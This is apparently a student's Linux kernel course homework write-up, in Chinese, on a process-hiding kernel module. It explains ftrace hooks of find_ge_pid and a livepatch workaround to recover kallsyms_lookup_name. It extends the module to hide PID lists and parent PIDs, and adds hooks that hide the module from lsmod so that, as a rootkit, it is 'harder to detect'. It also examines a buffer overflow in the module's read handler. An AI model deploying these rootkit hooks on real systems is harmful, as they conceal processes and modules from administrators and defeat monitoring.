# 2021q3 Homework1 (quiz1) ###### tags: `2021 年暑期「Linux 核心」` contributed by \<u1f383> 由於當初以為在 10 分鐘之內就要送出答案,因此沒能好好完成==作答區==的問題,在此補上答案: :::success AAA = list_for_each_entry_safe BBB = list_for_each_entry_safe CCC = list_add_tail(&proc->list_node, &hidden_proc); DDD = list_del(&proc->list_node); ::: ## 0. 環境 ``` shell $ uname -a Linux ubuntu 5.8.0-63-generic ... x86_64 x86_64 x86_64 GNU/Linux ``` ## 1. 解釋上述程式碼運作原理,包含 ftrace 的使用 kernel module 在 init function 時透過 `device_create()` 註冊了 device,其中也包含定義對 device 執行 `open` `release` `read` `write` 所呼叫到的 function,比較重要的為 `read` 以及 `write`: ``` c /* called when user read something from device */ static ssize_t device_read(struct file *filep, char *buffer, size_t len, loff_t *offset) { pid_node_t *proc, *tmp_proc; char message[MAX_MESSAGE_SIZE]; if (*offset) return 0; /* copy all proc pid of hidden procs to user */ list_for_each_entry_safe (proc, tmp_proc, &hidden_proc, list_node) { memset(message, 0, MAX_MESSAGE_SIZE); sprintf(message, OUTPUT_BUFFER_FORMAT, proc->id); copy_to_user(buffer + *offset, message, strlen(message)); *offset += strlen(message); } return *offset; } ``` 當執行 `read` 時會呼叫 `device_read`,遍歷所有的 `hidden_proc`,並且將每個 process 的 pid 連接後回傳給使用者。 ``` c /* called when user write something into device */ static ssize_t device_write(struct file *filep, const char *buffer, size_t len, loff_t *offset) { long pid; char *message; char add_message[] = "add", del_message[] = "del"; if (len < sizeof(add_message) - 1 && len < sizeof(del_message) - 1) return -EAGAIN; message = kmalloc(len + 1, GFP_KERNEL); memset(message, 0, len + 1); copy_from_user(message, buffer, len); if (!memcmp(message, add_message, sizeof(add_message) - 1)) { /* add <pid> */ kstrtol(message + sizeof(add_message), 10, &pid); hide_process(pid); } else if (!memcmp(message, del_message, sizeof(del_message) - 1)) { /* del <pid> */ kstrtol(message + sizeof(del_message), 10, &pid); unhide_process(pid); } else { kfree(message); return -EAGAIN; } *offset = len; kfree(message); return len; } ``` 當執行 `write` 時會呼叫 `device_write`,當接收到的 data 格式為 `add <pid>`,會執行 `hide_process` 把 `<pid>` 加入 hidden process 的 list 當中;當接收到的 data 格式為 `del <pid>`,會執行 `unhide_process` 把 `<pid>` 從 hidden process 的 list 當中移除。 而在 init function 的最後呼叫 `init_hook`,初始化 ftrace 相關 structure,流程大致如下: 1. 在 function `init_hook` 中初始化了 hook 的名稱 `"find_ge_pid"`、hook function `hook_find_ge_pid` 以及要被 hook 的 function `find_ge_pid` 2. 而後在 function `hook_install` 中,設定了 ftrace rule,rule 大致上是當 kernel 執行到 `find_ge_pid` 時,會先去執行 filter function `hook_ftrace_thunk`,`hook_ftrace_thunk` 會先判斷 `find_ge_pid` 是否由當前 module 所呼叫,若不是的話,會將 instruction pointer (ip) 指向先前設定的 hook function `hook_find_ge_pid` 3. 呼叫 `register_ftrace_function` 註冊 ftrace function,最後離開程式 根據 `find_ge_pid` 的註解說明,此 function 用在找尋大於等於 (ge) 給定 pid 的 process 的 struct pid,在 userland 中找尋 process 相關的命令如 `ps` 皆會使用到,然而 ftrace 會在真正執行之前加上 hook function 來做處理,讓我們看一下 hook function `hook_find_ge_pid` 的行為: ``` c static struct pid *hook_find_ge_pid(int nr, struct pid_namespace *ns) { /* First we get the orig return pid from find_ge_pid() */ struct pid *pid = real_find_ge_pid(nr, ns); /* Next we check whether the pid is in hidden_proc list, if it is, return pid greater than or equal nr+1 and not hidden instead of return the pid of hidden proc. */ while (pid && is_hidden_proc(pid->numbers->nr)) pid = real_find_ge_pid(pid->numbers->nr + 1, ns); return pid; } ``` `hook_find_ge_pid` 會先取得原本執行 `real_find_ge_pid` 的結果,如果回傳的 pid 存在於 hidden_proc,也就是先前透過 `write` 來定義的 pid list,就會將 pid + 1 後在執行 `real_find_ge_pid`。該步驟重複執行到 pid 不在 `hidden_proc` 當中,就會將結果回傳,繼續執行。 做個總結: 1. user 可以透過對 device 下命令,透過 `write` 傳入如 `add <pid>` 的字串,讓 module 把 `<pid>` 加到 `hidden_proc` 2. userland 執行 `ps` 相關取得 process 資訊的指令時,ftrace function 會被 trigger,並且回傳不在 `hidden_proc` 中大於等於 pid 的 process 的 struct pid ## 2. 本程式僅在 Linux v5.4 測試,若你用的核心較新,請試著找出替代方案 > 2020 年的變更 Unexporting kallsyms_lookup_name() Access to kallsyms on Linux 5.7+ [linux kernel document](https://www.kernel.org/doc/html/latest/livepatch/livepatch.html#motivation) 中有提到 linux kenrel 提供許多機制可以做程式執行重導向,目的是讓 user 能夠在不重開機的情況下,能夠修補引發錯誤的 critical function。透過這些機制能夠取得 function pointer 並使用,而在本實驗中也可以用來取得 `kallsyms_lookup_name` 的 function pointer。 而在這邊我選擇使用 livepatch 的方式,並參考 [kallsyms-mod repo](https://github.com/h33p/kallsyms-mod) 說明並加以研究: 1. kernel livepatching interface ``` c /* -----------add----------- */ /** * @old_name: name of the function to be patched * @new_func: pointer to the patched function code */ static struct klp_func funcs[] = { { .old_name = "kallsyms_lookup_name", .new_func = kallsyms_lookup_name, }, { } }; static struct klp_func failfuncs[] = { { .old_name = "___________________", }, { } }; /** * klp_object - kernel object structure for live patching * @name: module name (or NULL for vmlinux) * @funcs: function entries for functions to be patched in the object */ static struct klp_object objs[] = { { .funcs = funcs, }, { .name = "kallsyms_failing_name", .funcs = failfuncs, }, { } }; /** * klp_patch - patch structure for live patching * @mod: reference to the live patch module * @objs: object entries for kernel objects to be patched */ static struct klp_patch patch = { .mod = THIS_MODULE, .objs = objs, }; unsigned long kallsyms_lookup_name(const char *name) { return ((unsigned long(*)(const char *))funcs->old_func)(name); } int init_kallsyms(void) { /* klp_enable_patch - enable the livepatch */ int r = klp_enable_patch(&patch); if (!r) return -1; return 0; } /* -----------patch----------- */ static void init_hook(void) { if (init_kallsyms() != 0) return; real_find_ge_pid = kallsyms_lookup_name("find_ge_pid"); printk(KERN_INFO "find_ge_pid: %lx\n", real_find_ge_pid); ... } ``` 將上述程式碼加進 `hideproc.c` 後,並需要額外 include `<linux/livepatch.h>`,以及定義 module info `MODULE_INFO(livepatch, "Y");` 就能順利執行。 而這邊有個匪夷所思的地方,如果 livepatch 沒有加上 obj `kallsyms_failing_name` 則無法順利執行,但是我有嘗試執行過官方提供的 [sample code](https://github.com/torvalds/linux/blob/master/samples/livepatch/livepatch-sample.c) 來執行,除了最後要使用 `echo 0 | sudo tee /sys/kernel/livepatch/hideproc/enabled` 關閉 livepatch 才能順利 remove module 之外,也沒有特別加上 failing function: ``` c { .name = "kallsyms_failing_name", .funcs = failfuncs, }, ``` ## 3. 本核心模組只能隱藏單一 PID,請擴充為允許其 PPID 也跟著隱藏,或允許給定一組 PID 列表,而非僅有單一 PID ### 允許給定一組 PID 列表,而非僅有單一 PID ``` c /* called when user write something into device */ static ssize_t device_write(struct file *filep, const char *buffer, size_t len, loff_t *offset) { ... if (!memcmp(message, add_message, sizeof(add_message) - 1)) { /* add <pid> */ char *pid_list = message + sizeof(add_message); char **ptr = &pid_list; char *cur; while ((cur = strsep(ptr, " ")) != NULL) { if (strlen(cur) && !kstrtol(cur, 10, &pid)) { printk(KERN_INFO "[add] get pid: %ld\n", pid); hide_process(pid); } } } else if (!memcmp(message, del_message, sizeof(del_message) - 1)) { /* del <pid> */ char *pid_list = message + sizeof(del_message); char **ptr = &pid_list; char *cur; while ((cur = strsep(ptr, " ")) != NULL) { if (strlen(cur) && !kstrtol(cur, 10, &pid)) { printk(KERN_INFO "[del] get pid: %ld\n", pid); unhide_process(pid); } } } ... } ``` 當使用者傳送的資料格式為 `add <pid1>{spaces}<pid2>{spaces}<pidN>` 或是 `del <pid1>{spaces}<pid2>{spaces}<pidN>`,hideproc 可以透過 `strsep` parse 傳入的 pids 做到一次新增/刪除多個 pid。 ### 允許其 PPID 也跟著隱藏 ``` c static int hide_process(pid_t pid) { pid_node_t *proc = kmalloc(sizeof(pid_node_t), GFP_KERNEL); proc->id = pid; list_add_tail(&proc->list_node, &hidden_proc); /* add a new node to tail of list_head */ /** * Get the corresponding task_struct from pid, and if pid has parent, * create a new hidden proc node for it. */ struct task_struct *p = pid_task(find_vpid(pid), PIDTYPE_PID); /* The process has parent :) */ if (p != NULL && p->parent != NULL) { pid_node_t *parent = kmalloc(sizeof(pid_node_t), GFP_KERNEL); parent->id = p->parent->pid; list_add_tail(&parent->list_node, &hidden_proc); } return SUCCESS; } ``` 在隱藏指定 pid 時,先去看是否 pid 有 parent,如果有的話也把他加到 hidden_proc 當中。而檢察是否有 parent 的方式為: 先用 `pid_task()` 取得對應 pid 的 `task_struct`,而其中 member `parent` 則是指向 parent 的 `task_struct`,如果 pointer 存在代表有 parent,即可從 member `pid` 取得 parent pid。 ## 4.指出程式碼可改進的地方,並動手實作 **從功能方面**來看,由於使用 `lsmod` 指令仍可以看到此 module,作為 rootkit 來使用容易被發現,因此效法 hidden process 的方法,透過 hook 的方式讓 module 不會在 `lsmod` 中顯示,但是仍會出現在目錄 `/dev` 底下。 ``` c #define MODULE_NAME "hideproc_m" static struct module *hook_find_module_all(const char *name, size_t len, bool even_unformed) { if (!strcmp(name, MODULE_NAME)) return NULL; return real_find_module_all(name, len, even_unformed); } static int *hook_m_show(struct seq_file *m, void *p) { struct module *mod = list_entry(p, struct module, list); if (!strcmp(mod->name, MODULE_NAME)) return 0; return real_m_show(m, p); } static void init_hook(void) { if (init_kallsyms() != 0) return; /** * find_module_all is called when user use command such * as "rmmod", so hooking at find_module_all and check if * argument is our module name, if it is, just return. */ real_find_module_all = kallsyms_lookup_name("find_module_all"); printk(KERN_INFO "find_module_all: %lx\n", real_find_module_all); module_hook.name = "find_module_all"; module_hook.func = hook_find_module_all; /* hook function */ module_hook.orig = &real_find_module_all; /* real function */ hook_install(&module_hook); ... /** * When user uses command "lsmod", it will read /proc/modules, * and /proc/modules will use kernel function "m_show" to show * all module information. * We hook at m_show called, and check if argument is struct of * our module, if it is, just return. */ real_m_show = kallsyms_lookup_name("m_show"); printk(KERN_INFO "m_show: %lx\n", real_m_show); m_show_hook.name = "m_show"; m_show_hook.func = hook_m_show; /* hook function */ m_show_hook.orig = &real_m_show; /* real function */ hook_install(&m_show_hook); } ``` --- 資源使用方面補齊了 `_hideproc_exit()` 當中需要 release 資源的部分,以免造成 memory leak: ``` c /** * _hideproc_exit() - reset ftrace hook and clear device */ static void _hideproc_exit(void) { printk(KERN_INFO "@ %s\n", __func__); /* free all memory */ pid_node_t *proc, *tmp_proc; list_for_each_entry_safe (proc, tmp_proc, &hidden_proc, list_node) { list_del(&proc->list_node); kfree(proc); } /* remove ftrace hook */ hook_remove(&module_hook); hook_remove(&ge_pid_hook); hook_remove(&m_show_hook); /* removes a device that was created with device_create() */ device_destroy(hideproc_class, MKDEV(MAJOR(dev), MINOR_VERSION)); cdev_del(&cdev); /* remove a cdev from the system */; class_destroy(hideproc_class); /* destroys a struct class structure */ /* unregister a range of device numbers */ unregister_chrdev_region(&dev, MINOR_VERSION); } ``` --- 然後我發現 `read` 的部分可能會有 overflow 的問題: ``` c /* called when user read something from device */ static ssize_t device_read(struct file *filep, char *buffer, size_t len, loff_t *offset) { ... char message[MAX_MESSAGE_SIZE]; // buffer size 13 ... list_for_each_entry_safe (proc, tmp_proc, &hidden_proc, list_node) { memset(message, 0, MAX_MESSAGE_SIZE); sprintf(message, OUTPUT_BUFFER_FORMAT, proc->id); copy_to_user(buffer + *offset, message, strlen(message)); *offset += strlen(message); } return *offset; } ``` 其中 `proc->id` 的型態是 `pid_t`: ``` c // https://elixir.bootlin.com/linux/v5.8/source/include/linux/types.h#L22 typedef __kernel_pid_t pid_t; // https://elixir.bootlin.com/linux/v5.8/source/include/uapi/asm-generic/posix_types.h#L28 typedef int __kernel_pid_t; ``` pid 的上限為 4194304 (`/proc/sys/kernel/pid_max`),而透過 `sprintf()` 產生出來的最長字串為 `pid: 4194304\n` 13 bytes,但是 `sprintf()` 結尾會有一個 NULL byte,可以透過簡單的 c 程式做範例: ``` c #include <stdio.h> int main() { char message[13] = {0}; sprintf(message, "pid: %d\n", 4194304); return 0; } ``` 在編譯時期 gcc 就會跳出警告: ``` test.c: In function ‘main’: test.c:6:32: warning: ‘sprintf’ writing a terminating nul past the end of the destination [-Wformat-overflow=] 8 | sprintf(message, "pid: %d\n", 4194304); | ^ test.c:6:5: note: ‘sprintf’ output 14 bytes into a destination of size 13 8 | sprintf(message, "pid: %d\n", 4194304); | ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ``` 寫入前執行 `set *(int64_t*)(0x7fffffffdd2b+8)=0xdeadbeefdeadbeef` 幫助我們觀察: ``` pwndbg> x/10gx 0x7fffffffdd2b 0x7fffffffdd2b: 0x0000000000000000 0xdeadbeefdeadbeef 0x7fffffffdd3b: 0x000000b1a5490c47 0xde10b30000000000 ``` 寫入後: ``` pwndbg> x/10gx 0x7fffffffdd2b 0x7fffffffdd2b: 0x393134203a646970 0xdead000a34303334 0x7fffffffdd3b: 0x000000b1a5490c47 0xde10b30000000000 ``` 在第 14 個 byte 被寫入 00 (NULL byte),因此可能會造成 這只是正常情況下會發生的問題,然而我們沒辦法保證使用者傳入的 `pid` 是否是正常的 pid 範圍 (1~4194304),至少因為 pid 的型態是 `int`,最多可以到 `2147483647`,然而 10 bytes 的字串就足夠蓋到變數 `message[]` 正常能夠存取到的地方了。 而如果電腦是 32 位元,是否會有更大的問題? 解決方法有二: 1. 限制傳入的 pid 是否符合 `/proc/sys/kernel/pid_max` 所規範 2. 將 buffer size 設定成更大的數值 由於是從 kernel space 將資料 copy 到 userland,我們會好奇是否能透過 `device_read` 取得 kernel 記憶體位置,不過的是這邊使用的是 `sprintf`,結尾必定會加上 NULL byte 來截斷,因此沒辦法來 leak kernel address;而因為 buffer 下面的就是 canary 了,因此能 overflow 的部分也沒辦法做利用。 --- 最後有發現 hidden_proc 並沒有檢測是否出現 duplicate pid,因此可以在每次新增 list node 時做檢查。